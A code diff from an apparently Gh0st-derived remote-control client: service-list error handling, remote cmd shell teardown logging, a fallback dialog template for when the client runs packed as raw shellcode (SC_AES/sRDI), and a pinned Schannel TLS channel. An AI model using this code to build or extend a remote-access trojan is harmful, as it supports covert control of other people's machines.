if (err) *err = GetLastError(); // 典型 5=拒绝访问(未提权)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024);
|
||||
|
||||
if (ServicesStatus==NULL) {
|
||||
if (err) *err = ERROR_NOT_ENOUGH_MEMORY;
|
||||
CloseServiceHandle(m_hscManager);
|
||||
return NULL;
|
||||
}
|
||||
@@ -75,8 +86,10 @@ LPBYTE CServicesManager::GetServicesList()
|
||||
&dwResumeHandle);
|
||||
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||
if (szBuffer == NULL)
|
||||
if (szBuffer == NULL) {
|
||||
if (err) *err = ERROR_NOT_ENOUGH_MEMORY;
|
||||
return NULL;
|
||||
}
|
||||
szBuffer[0] = TOKEN_SERVERLIST;
|
||||
dwOffset = 1;
|
||||
for (unsigned long i = 0; i < dwServicesCount; ++i) { // Display The Services,显示所有的服务
|
||||
|
||||
@@ -20,7 +20,7 @@ public:
|
||||
CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CServicesManager();
|
||||
VOID SendServicesList();
|
||||
LPBYTE GetServicesList();
|
||||
LPBYTE GetServicesList(DWORD* err = NULL);
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
||||
SC_HANDLE m_hscManager;
|
||||
|
||||
@@ -163,6 +163,7 @@ CShellManager::~CShellManager()
|
||||
m_bStarting = FALSE;
|
||||
|
||||
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
|
||||
Mprintf("TerminateThread: cmd 线程 handle=%p threadId=%lu\n", m_hShellThreadHandle, GetThreadId(m_hShellThreadHandle));
|
||||
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
|
||||
Sleep(100);
|
||||
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
// TalkDialogTemplate.h: IDD_DIALOG 的编译后 DLGTEMPLATEEX(内嵌内存模板)
|
||||
//
|
||||
// 用途:加壳部署(EXE + SC_AES/sRDI)的客户端里,TalkManager 的 hInstance 是外壳进程
|
||||
// 映像,其资源里没有 IDD_DIALOG;而载荷以裸 shellcode 运行、未注册进加载器,
|
||||
// FindResource/LoadResource/DialogBoxParamA 一律取不到对话框资源。此时用下面的内存模板
|
||||
// 直接 DialogBoxIndirectParamA 建窗,与部署形态无关。
|
||||
//
|
||||
// 数据来源:client/Script.rc 的 IDD_DIALOG(DIALOGEX)。DLGTEMPLATEEX 的字符串字段
|
||||
// 一律是 UTF-16,同一份字节既可用于 A 接口也可用于 W 接口。
|
||||
//
|
||||
// 重新生成(改动 Script.rc 的 IDD_DIALOG 后必须同步):
|
||||
// 1. rc /fo dlg.res dlg.rc (dlg.rc 只保留与 Script.rc 相同的 IDD_DIALOG 块)
|
||||
// 2. link /dll /noentry /machine:x64 /out:dlg.dll dlg.res
|
||||
// 3. 从 dlg.dll 的 RT_DIALOG(5) → 101 → 任意语言 取数据块,按 16 字节一行导出。
|
||||
// 当前块 104 字节:CAPTION "消息提示"、FONT 10 "System" charset 0、
|
||||
// 控件 ID 1000,与 Script.rc 完全一致;已与构建出的 ghost.exe 的
|
||||
// RT_DIALOG(5) → 101 逐字节比对一致。
|
||||
|
||||
#ifndef YAMA_TALK_DIALOG_TEMPLATE_H
|
||||
#define YAMA_TALK_DIALOG_TEMPLATE_H
|
||||
|
||||
// DLGTEMPLATEEX 的 DWORD 字段要求模板指针 4 字节对齐。
|
||||
__declspec(align(4)) static const unsigned char kTalkDialogTemplate[] = {
|
||||
0x01, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x00, 0xC8, 0x80,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x6D,
|
||||
0x6F, 0x60, 0xD0, 0x63, 0x3A, 0x79, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00,
|
||||
0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x50, 0x05, 0x00, 0x05, 0x00, 0xAA, 0x00, 0x5F, 0x00,
|
||||
0xE8, 0x03, 0x00, 0x00, 0xFF, 0xFF, 0x82, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00,
|
||||
0x69, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
#endif // YAMA_TALK_DIALOG_TEMPLATE_H
|
||||
+26
-3
@@ -4,6 +4,7 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "TalkManager.h"
|
||||
#include "TalkDialogTemplate.h"
|
||||
#include "Common.h"
|
||||
#include "resource.h"
|
||||
#include <IOSTREAM>
|
||||
@@ -49,10 +50,23 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
default: {
|
||||
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
|
||||
// 服务端只发正文、不带结尾 NUL:按实际长度补终止符(留一格),
|
||||
// 否则正好填满缓冲区时 SetDlgItemText 会越界读
|
||||
size_t nCopy = min(ulLength, sizeof(g_Buffer) - 1);
|
||||
memcpy(g_Buffer, szBuffer, nCopy);
|
||||
g_Buffer[nCopy] = '\0';
|
||||
//创建一个DLG
|
||||
DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
|
||||
INT_PTR nRet = DialogBoxParamA(m_hInstance, MAKEINTRESOURCEA(IDD_DIALOG),
|
||||
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
|
||||
if (nRet == -1) {
|
||||
// 与聊天窗口同样的原因:加壳部署(EXE + SC_AES/sRDI)时 m_hInstance 是
|
||||
// 外壳进程映像,取不到 IDD_DIALOG 资源,DialogBoxParamA 直接失败(Win11
|
||||
// 实测 err=1812/59),右下角消息窗口不会出现。回退到内嵌的编译后模板。
|
||||
DWORD dwError = GetLastError();
|
||||
Mprintf("DialogBoxParamA(%lu) 失败,改用内嵌对话框模板\n", dwError);
|
||||
DialogBoxIndirectParamA(m_hInstance, (LPCDLGTEMPLATEA)kTalkDialogTemplate,
|
||||
NULL, DialogProc, (LPARAM)this);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -97,6 +111,15 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
|
||||
{
|
||||
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
|
||||
|
||||
// 标题栏:DialogBoxParamA 会把模板里的 UTF-16 标题按系统 ANSI 代码页转换,
|
||||
// 德语等 1252 系统上"消息提示"会变成 "???"。这里在显示前用 W 接口重设标题
|
||||
// (消息正文仍走 ANSI,保持原有编码语义)。中文系统显示中文,其余显示英文。
|
||||
{
|
||||
static const bool bChineseUI =
|
||||
(PRIMARYLANGID(GetUserDefaultUILanguage()) == LANG_CHINESE);
|
||||
SetWindowTextW(hDlg, bChineseUI ? L"消息提示" : L"Message");
|
||||
}
|
||||
|
||||
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
|
||||
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
|
||||
|
||||
|
||||
Binary file not shown.
@@ -78,7 +78,7 @@
|
||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
@@ -168,6 +168,7 @@
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -177,6 +178,7 @@
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="resource1.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
|
||||
@@ -0,0 +1,569 @@
|
||||
// TlsChannel.cpp — 见 TlsChannel.h 头注释。仅 _WIN32 编译。
|
||||
#ifdef _WIN32
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "TlsChannel.h"
|
||||
|
||||
#include "common/iniFile.h" // config(settings.ini 文件回退) + GetRegistryName/GetCurrentUserRegistryKey(注册表正文)
|
||||
|
||||
#include <wincrypt.h> // 证书/链引擎 API
|
||||
#include <winreg.h> // RegOpenKeyExA / RegQueryValueExA
|
||||
#include <io.h> // _access
|
||||
#include <fstream> // std::ifstream
|
||||
#include <iterator> // std::istreambuf_iterator
|
||||
#include <string>
|
||||
#include <mutex> // std::mutex
|
||||
|
||||
#pragma comment(lib, "secur32.lib")
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
namespace {
|
||||
|
||||
// 进程级 TLS 状态:首连时加载一次,服务端下发/撤销信任锚后可重建(TlsReload)。
|
||||
// 所有读写都在 g_tlsMtx 下;证书校验(VerifyServerCert)在校验期间持同一把锁,因此
|
||||
// 重建时可以安全地释放旧的 store/engine——不会再有线程正拿着它们用。
|
||||
std::mutex g_tlsMtx;
|
||||
bool g_tlsLoaded = false; // 已加载过至少一次(决定首次失败是否 fail-closed)
|
||||
bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密
|
||||
bool g_tlsError = false; // 证书存在但加载失败:拒绝连接(fail-closed)
|
||||
HCERTSTORE g_tlsStore = NULL;
|
||||
HCERTCHAINENGINE g_tlsEngine = NULL; // 只信任 g_tlsStore 的链引擎(严格钉扎)
|
||||
|
||||
// 解析信任锚证书路径:优先 settings.ini 的 [settings] tls_cert,其次可执行文件同目录
|
||||
// yama-ca.pem。
|
||||
std::string ResolveCertPath()
|
||||
{
|
||||
std::string certPath;
|
||||
{
|
||||
config cfg;
|
||||
certPath = cfg.GetStr("settings", "tls_cert", "");
|
||||
}
|
||||
if (certPath.empty()) {
|
||||
char path[MAX_PATH];
|
||||
if (!GetModuleFileNameA(NULL, path, sizeof(path)))
|
||||
return std::string(); // 拿不到 exe 路径,视为未配置
|
||||
char* p = path + strlen(path);
|
||||
while (p > path && *p != '\\') --p;
|
||||
strcpy(p + 1, "yama-ca.pem");
|
||||
certPath = path;
|
||||
}
|
||||
return certPath;
|
||||
}
|
||||
|
||||
// 读取注册表 REG_SZ(动态扩容)。iniFile::GetStr 用 512 字节固定缓冲,会把 PEM 正文
|
||||
// (约 1.3~1.8KB)截断成空,故此处自行两段式 RegQueryValueEx 读取。
|
||||
// 返回 true 表示值存在且为 REG_SZ,out 为去掉末尾 '\0' 后的内容;否则 false。
|
||||
bool ReadRegistrySz(HKEY root, const std::string& subKey, const std::string& valueName, std::string& out)
|
||||
{
|
||||
HKEY hKey = NULL;
|
||||
if (RegOpenKeyExA(root, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
DWORD type = 0, size = 0;
|
||||
LONG r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type, NULL, &size);
|
||||
if (r != ERROR_SUCCESS || type != REG_SZ) {
|
||||
RegCloseKey(hKey);
|
||||
return false;
|
||||
}
|
||||
std::vector<char> buf(size ? size : 1, 0);
|
||||
r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type,
|
||||
reinterpret_cast<LPBYTE>(buf.data()), &size);
|
||||
RegCloseKey(hKey);
|
||||
if (r != ERROR_SUCCESS)
|
||||
return false;
|
||||
if (size > 0 && buf[size - 1] == '\0')
|
||||
--size; // REG_SZ 的 size 含末尾 '\0'
|
||||
out.assign(buf.data(), size);
|
||||
return true;
|
||||
}
|
||||
|
||||
// 取信任锚 PEM 正文。优先注册表 Software\<exehash>\settings\tls_cert(REG_SZ 直接存
|
||||
// PEM 正文,便于后续服务端下发/撤销),其次 settings.ini [settings] tls_cert 路径、
|
||||
// exe 同目录 yama-ca.pem 文件(向后兼容旧的文件投递方式)。
|
||||
// 返回 true 表示已配置(pem 可能为空:值/文件存在但内容为空,由 LoadTrustAnchor 判为
|
||||
// fail-closed);false 表示完全未配置(走明文)。source 描述来源,仅用于日志。
|
||||
bool ReadTrustAnchor(std::string& pem, std::string& source)
|
||||
{
|
||||
// 1) 注册表正文(首选)。值存在(即便为空)即视为「已配置」,交由 LoadTrustAnchor
|
||||
// 对空/损坏内容判 fail-closed,与「空文件 → fail-closed」语义保持一致,避免空值
|
||||
// 被静默当成未配置而回退明文。
|
||||
std::string regSubKey = GetRegistryName() + "\\settings";
|
||||
std::string regVal;
|
||||
if (ReadRegistrySz(GetCurrentUserRegistryKey(), regSubKey, "tls_cert", regVal)) {
|
||||
pem = regVal;
|
||||
source = "registry " + regSubKey + "\\tls_cert";
|
||||
return true;
|
||||
}
|
||||
|
||||
// 2) 文件回退:settings.ini [settings] tls_cert 路径 → exe 同目录 yama-ca.pem
|
||||
std::string certPath = ResolveCertPath();
|
||||
if (certPath.empty() || _access(certPath.c_str(), 0) != 0)
|
||||
return false; // 无证书 → 明文
|
||||
|
||||
std::ifstream f(certPath.c_str(), std::ios::binary);
|
||||
if (!f) {
|
||||
Mprintf("[TLS] cannot open %s\n", certPath.c_str());
|
||||
return false;
|
||||
}
|
||||
pem.assign((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
source = certPath;
|
||||
return true;
|
||||
}
|
||||
|
||||
// 解码 PEM/DER 信任锚正文为 DER,并加入内存信任锚存储。
|
||||
bool LoadTrustAnchor(const std::string& pem, const std::string& source, HCERTSTORE* outStore)
|
||||
{
|
||||
if (pem.empty()) {
|
||||
Mprintf("[TLS] empty certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// PEM(-----BEGIN CERTIFICATE----- base64)或 DER → DER。CRYPT_STRING_ANY 两者都认,
|
||||
// 失败再退回 CRYPT_STRING_BASE64HEADER(纯 PEM)。
|
||||
DWORD derLen = 0;
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||
NULL, &derLen, NULL, NULL) || derLen == 0) {
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||
NULL, &derLen, NULL, NULL) || derLen == 0) {
|
||||
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
std::vector<BYTE> der(derLen);
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||
der.data(), &derLen, NULL, NULL)) {
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||
der.data(), &derLen, NULL, NULL)) {
|
||||
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING, der.data(), derLen);
|
||||
if (!cert) {
|
||||
Mprintf("[TLS] invalid certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
HCERTSTORE store = CertOpenStore(CERT_STORE_PROV_MEMORY, X509_ASN_ENCODING,
|
||||
0, CERT_STORE_CREATE_NEW_FLAG, NULL);
|
||||
if (!store) {
|
||||
CertFreeCertificateContext(cert);
|
||||
Mprintf("[TLS] CertOpenStore failed\n");
|
||||
return false;
|
||||
}
|
||||
if (!CertAddCertificateContextToStore(store, cert, CERT_STORE_ADD_REPLACE_EXISTING, NULL)) {
|
||||
CertCloseStore(store, 0);
|
||||
CertFreeCertificateContext(cert);
|
||||
Mprintf("[TLS] CertAddCertificateContextToStore failed\n");
|
||||
return false;
|
||||
}
|
||||
CertFreeCertificateContext(cert);
|
||||
|
||||
*outStore = store;
|
||||
return true;
|
||||
}
|
||||
|
||||
enum TlsAnchor { TLS_ANCHOR_OK, TLS_ANCHOR_NONE, TLS_ANCHOR_INVALID };
|
||||
|
||||
// 读取当前信任锚并建好 store + 链引擎(成功时经 outStore/outEngine 交出,调用方负责
|
||||
// 释放)。不触碰全局状态。source 描述锚的来源,仅用于日志。
|
||||
TlsAnchor BuildTlsAnchor(HCERTSTORE* outStore, HCERTCHAINENGINE* outEngine,
|
||||
std::string& source, std::string& err)
|
||||
{
|
||||
std::string pem;
|
||||
if (!ReadTrustAnchor(pem, source)) {
|
||||
err = "no trust anchor configured";
|
||||
return TLS_ANCHOR_NONE;
|
||||
}
|
||||
|
||||
HCERTSTORE store = NULL;
|
||||
if (!LoadTrustAnchor(pem, source, &store)) {
|
||||
err = "trust anchor (" + source + ") present but failed to load";
|
||||
return TLS_ANCHOR_INVALID;
|
||||
}
|
||||
|
||||
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
|
||||
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
|
||||
CERT_CHAIN_ENGINE_CONFIG ec = {};
|
||||
ec.cbSize = sizeof(ec);
|
||||
ec.hExclusiveRoot = store;
|
||||
HCERTCHAINENGINE engine = NULL;
|
||||
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
|
||||
CertCloseStore(store, 0);
|
||||
err = "CertCreateCertificateChainEngine failed";
|
||||
return TLS_ANCHOR_INVALID;
|
||||
}
|
||||
|
||||
*outStore = store;
|
||||
*outEngine = engine;
|
||||
return TLS_ANCHOR_OK;
|
||||
}
|
||||
|
||||
// 按当前信任锚重建 TLS 状态(调用方持 g_tlsMtx)。
|
||||
// 首次加载失败 → fail-closed(管理员已「颁发」证书,不能静默回退明文);运行期热重载
|
||||
// 失败 → 保持现有状态不变,返回 false(一次坏下发不该打死正在工作的客户端;下次启动
|
||||
// 仍会 fail-closed)。
|
||||
bool ApplyTlsStateLocked(bool initial, std::string& err)
|
||||
{
|
||||
HCERTSTORE store = NULL;
|
||||
HCERTCHAINENGINE engine = NULL;
|
||||
std::string source;
|
||||
const TlsAnchor anchor = BuildTlsAnchor(&store, &engine, source, err);
|
||||
|
||||
if (anchor == TLS_ANCHOR_INVALID) {
|
||||
if (initial) {
|
||||
g_tlsEnabled = false;
|
||||
g_tlsError = true;
|
||||
g_tlsLoaded = true;
|
||||
Mprintf("[TLS] FATAL: %s; refusing connections (fail-closed)\n", err.c_str());
|
||||
} else {
|
||||
Mprintf("[TLS] reload failed: %s (keeping current transport)\n", err.c_str());
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// 互换。旧 store/engine 可以直接释放:校验路径持同一把锁,此刻没有线程在用它们。
|
||||
HCERTSTORE oldStore = g_tlsStore;
|
||||
HCERTCHAINENGINE oldEngine = g_tlsEngine;
|
||||
g_tlsStore = store;
|
||||
g_tlsEngine = engine;
|
||||
g_tlsEnabled = (anchor == TLS_ANCHOR_OK);
|
||||
g_tlsError = false;
|
||||
g_tlsLoaded = true;
|
||||
if (oldEngine) CertFreeCertificateChainEngine(oldEngine);
|
||||
if (oldStore) CertCloseStore(oldStore, 0);
|
||||
|
||||
if (g_tlsEnabled)
|
||||
Mprintf("[TLS] enabled: trust anchor loaded (%s), all connections use TLS\n", source.c_str());
|
||||
else
|
||||
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
|
||||
return true;
|
||||
}
|
||||
|
||||
// 首次调用时才真正加载;之后一律用缓存的状态(热重载由 TlsReload 负责)。
|
||||
inline void EnsureTlsLoadedLocked()
|
||||
{
|
||||
if (!g_tlsLoaded) {
|
||||
std::string err;
|
||||
ApplyTlsStateLocked(true, err);
|
||||
}
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool TlsEnabled()
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_tlsMtx);
|
||||
EnsureTlsLoadedLocked();
|
||||
return g_tlsEnabled;
|
||||
}
|
||||
|
||||
bool TlsLoadError()
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_tlsMtx);
|
||||
EnsureTlsLoadedLocked();
|
||||
return g_tlsError;
|
||||
}
|
||||
|
||||
bool TlsReload(std::string& err)
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_tlsMtx);
|
||||
return ApplyTlsStateLocked(!g_tlsLoaded, err);
|
||||
}
|
||||
|
||||
// ---- TlsChannel ----
|
||||
|
||||
void TlsChannel::CloseHandles()
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (m_ctxValid) { DeleteSecurityContext(&m_ctx); m_ctx = {}; m_ctxValid = false; }
|
||||
if (m_credValid) { FreeCredentialsHandle(&m_cred); m_cred = {}; m_credValid = false; }
|
||||
m_ready = false;
|
||||
m_raw.clear();
|
||||
m_pending.clear();
|
||||
}
|
||||
|
||||
bool TlsChannel::SendAll(SOCKET sock, const void* data, int len)
|
||||
{
|
||||
const char* p = (const char*)data;
|
||||
int sent = 0;
|
||||
while (sent < len) {
|
||||
int n = ::send(sock, p + sent, len - sent, 0);
|
||||
if (n == SOCKET_ERROR || n == 0)
|
||||
return false;
|
||||
sent += n;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TlsChannel::VerifyServerCert()
|
||||
{
|
||||
PCCERT_CONTEXT remote = NULL;
|
||||
SECURITY_STATUS sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_REMOTE_CERT_CONTEXT, &remote);
|
||||
if (sc != SEC_E_OK || !remote)
|
||||
return false;
|
||||
|
||||
// 与 TlsReload 互斥:校验期间持有 g_tlsMtx,重建时释放的旧 store/engine 不会正被使用。
|
||||
// 持锁时间很短:建链全是本地操作(DISABLE_AIA 禁联网取中间证书,也不带任何
|
||||
// CERT_CHAIN_REVOCATION_CHECK_* 位),不会因为网络等待而卡住 TlsReload。
|
||||
std::lock_guard<std::mutex> lk(g_tlsMtx);
|
||||
if (!g_tlsStore || !g_tlsEngine) {
|
||||
CertFreeCertificateContext(remote);
|
||||
return false;
|
||||
}
|
||||
|
||||
CERT_CHAIN_PARA para = {};
|
||||
para.cbSize = sizeof(para);
|
||||
PCCERT_CHAIN_CONTEXT chain = NULL;
|
||||
// g_tlsEngine 的 hExclusiveRoot 已把信任锚限制为 g_tlsStore;hAdditionalStore 再传一次
|
||||
// 该 store 供链引擎查找 CA/中间证书。只接受「无任何错误位」的链(含时间有效性)。
|
||||
// 不设置任何 CERT_CHAIN_REVOCATION_CHECK_* 位 = 不做吊销检查(私有 CA 无 CRL/OCSP,
|
||||
// 且这些位会触发联网,反而失败);只保留 CERT_CHAIN_DISABLE_AIA 禁止联网取中间证书。
|
||||
BOOL ok = CertGetCertificateChain(g_tlsEngine, remote, NULL, g_tlsStore, ¶,
|
||||
CERT_CHAIN_DISABLE_AIA,
|
||||
NULL, &chain);
|
||||
bool trusted = false;
|
||||
if (ok && chain) {
|
||||
trusted = (chain->TrustStatus.dwErrorStatus == CERT_TRUST_NO_ERROR);
|
||||
}
|
||||
if (chain) CertFreeCertificateChain(chain);
|
||||
CertFreeCertificateContext(remote);
|
||||
return trusted;
|
||||
}
|
||||
|
||||
bool TlsChannel::Handshake(SOCKET sock, const char* sni)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入)
|
||||
|
||||
SCHANNEL_CRED cred = {};
|
||||
cred.dwVersion = SCHANNEL_CRED_VERSION;
|
||||
cred.dwFlags = SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS;
|
||||
cred.grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT; // TLS 1.2(与 Go 端 MinVersion 对齐)
|
||||
|
||||
TimeStamp tsExpiry = {};
|
||||
SECURITY_STATUS sc = AcquireCredentialsHandleA(
|
||||
NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider",
|
||||
SECPKG_CRED_OUTBOUND, NULL, &cred, NULL, NULL, &m_cred, &tsExpiry);
|
||||
if (sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] AcquireCredentialsHandle failed: 0x%08X\n", (unsigned)sc);
|
||||
return false;
|
||||
}
|
||||
m_credValid = true;
|
||||
|
||||
DWORD flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY
|
||||
| ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM | ISC_REQ_MANUAL_CRED_VALIDATION;
|
||||
|
||||
SecBuffer outBuf = { 0, SECBUFFER_TOKEN, NULL };
|
||||
SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf };
|
||||
ULONG attrs = 0;
|
||||
|
||||
// 首次调用产生 ClientHello。pszTargetName 非空时 Schannel 会把它作为 SNI 发送,
|
||||
// 供反代按域名分流;证书校验仍是手动钉信任锚(SCH_CRED_MANUAL_CRED_VALIDATION),
|
||||
// 不因传了名字而启用主机名校验。
|
||||
sc = InitializeSecurityContextA(&m_cred, NULL, (SEC_CHAR*)sni, flags, 0, SECURITY_NATIVE_DREP,
|
||||
NULL, 0, &m_ctx, &outDesc, &attrs, &tsExpiry);
|
||||
m_ctxValid = true; // 上下文已分配,之后必须 DeleteSecurityContext
|
||||
if (sc != SEC_I_CONTINUE_NEEDED && sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] InitializeSecurityContext(initial) failed: 0x%08X\n", (unsigned)sc);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
|
||||
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
}
|
||||
|
||||
std::vector<BYTE> hs;
|
||||
char raw[8192];
|
||||
while (sc == SEC_I_CONTINUE_NEEDED || sc == SEC_E_INCOMPLETE_MESSAGE ||
|
||||
sc == SEC_I_INCOMPLETE_CREDENTIALS)
|
||||
{
|
||||
int r = recv(sock, raw, sizeof(raw), 0);
|
||||
if (r == SOCKET_ERROR || r == 0) {
|
||||
Mprintf("[TLS] handshake recv failed/EOF\n");
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
hs.insert(hs.end(), (BYTE*)raw, (BYTE*)raw + r);
|
||||
|
||||
SecBuffer inBufs[2] = {
|
||||
{ (ULONG)hs.size(), SECBUFFER_TOKEN, hs.data() },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
};
|
||||
SecBufferDesc inDesc = { SECBUFFER_VERSION, 2, inBufs };
|
||||
|
||||
outBuf = { 0, SECBUFFER_TOKEN, NULL };
|
||||
outDesc = { SECBUFFER_VERSION, 1, &outBuf };
|
||||
|
||||
sc = InitializeSecurityContextA(&m_cred, &m_ctx, (SEC_CHAR*)sni, flags, 0, SECURITY_NATIVE_DREP,
|
||||
&inDesc, 0, NULL, &outDesc, &attrs, &tsExpiry);
|
||||
|
||||
// 裁剪已消费的输入,仅保留 SECBUFFER_EXTRA 指向的未消费尾部
|
||||
if (inBufs[1].BufferType == SECBUFFER_EXTRA) {
|
||||
int extra = inBufs[1].cbBuffer;
|
||||
int consumed = (int)hs.size() - extra;
|
||||
hs.erase(hs.begin(), hs.begin() + consumed);
|
||||
} else {
|
||||
hs.clear();
|
||||
}
|
||||
|
||||
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
|
||||
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
FreeContextBuffer(outBuf.pvBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
if (sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] handshake failed: 0x%08X\n", (unsigned)sc);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
|
||||
// 握手成功后 hs 里可能残留「未消费的尾部」= 服务端 Finished 后紧跟的首条应用数据
|
||||
// (TLS 记录)。若不下发,首包会被丢弃,导致随机丢包/协议错位。交给 Recv 解。
|
||||
if (!hs.empty())
|
||||
m_raw.insert(m_raw.end(), hs.begin(), hs.end());
|
||||
|
||||
if (!VerifyServerCert()) {
|
||||
Mprintf("[TLS] server certificate not trusted against yama-ca.pem (fail-closed)\n");
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
|
||||
